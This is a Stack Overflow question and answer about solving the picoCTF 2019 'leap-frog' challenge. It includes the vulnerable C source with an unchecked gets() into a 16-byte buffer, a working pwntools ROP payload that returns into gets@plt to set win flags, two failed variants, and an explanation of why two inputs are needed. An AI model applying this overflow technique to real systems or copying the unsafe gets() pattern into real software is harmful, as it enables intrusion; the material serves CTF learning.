Why does this exploit require two separate payload injections rather than one?

0

I am new to binary exploitation problems. This one comes from picoctf 2019, leap-frog. The particular solution I'm interested in uses a buffer overflow on the vuln() function to force execution to return to gets' PLT entry. This is done because gets allows us to write to an arbitrary place in memory (see link). We are interested in writing to win1, win2, and win3. If we can set each of these to true, then we can print the flag! So, all we need to exploit the program is the buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables.

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

The following script prints the flag when run in the CTF's shell

Solution Script

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload)
    p.sendline('\x01\x01\x01\x00')  # sets win1, win2, win3 to true via gets reading from stdin
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

The following script does NOT work, yet the only difference between the programs is this one merges the sendline() calls. I am guessing this is because the program did not reach the call to gets yet, so it is not ready for input from stdin.

Failed Solution 1

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload+'\x01\x01\x01\x00')
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

Failed Solution 2

Then, I tried to run the program without appending '\x01\x01\x01\x00\' to the payload, hoping execution would hit gets and wait for stdin input; however, I instead get a segfault. What is wrong with my logic for these two failed solutions? Thanks!

c
exploit
gets
ctf
asked on Stack Overflow Nov 7, 2019 by SuperGoA • edited Jun 20, 2020 by Community

1 Answer

3

You need two different payloads, because there a two different calls to gets(). sendline() appends a newline to your input/payload [1], and gets() reads input until a newline is read [2]. So, one sendline() feeds only one gets().

Why are there two calls to gets()? Well, the first call to gets() happens in the vuln() function, and has the purpose of altering the execution flow. If you run the program, gets() asks for user input and stores it in buf[16] on the stack. And because gets() doesn't check for buffer overruns [2], you can actually corrupt the stack by inserting an input that is bigger than 16 bytes. So the first sendline() feeds the payload ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d) to the first call. This corrupts the stack and alters the execution flow. The first address 0x08048430 in the payload (address of gets@plt) manipulates the return address of the first gets(). So when the first gets() finishes execution, it jumps to second gets(). This is the second call to gets(). The second address 0x80486b3 (address of display_flag()) is the return address of the second gets(). So when the second call leaves, it jumps to display_flag(). The third address 0x0804a03d (address of the win1 variable) is the buffer for the second gets(). So the second gets() expects another input/payload from the user and writes it to the address of win1. The second input is served by the second sendline().

Your first solution fails, because you feed only the first gets() call, so the second gets() call has no input at all. Your second solution fails for the same reason.

answered on Stack Overflow Mar 29, 2020 by d4rwel

User contributions licensed under CC BY-SA 3.0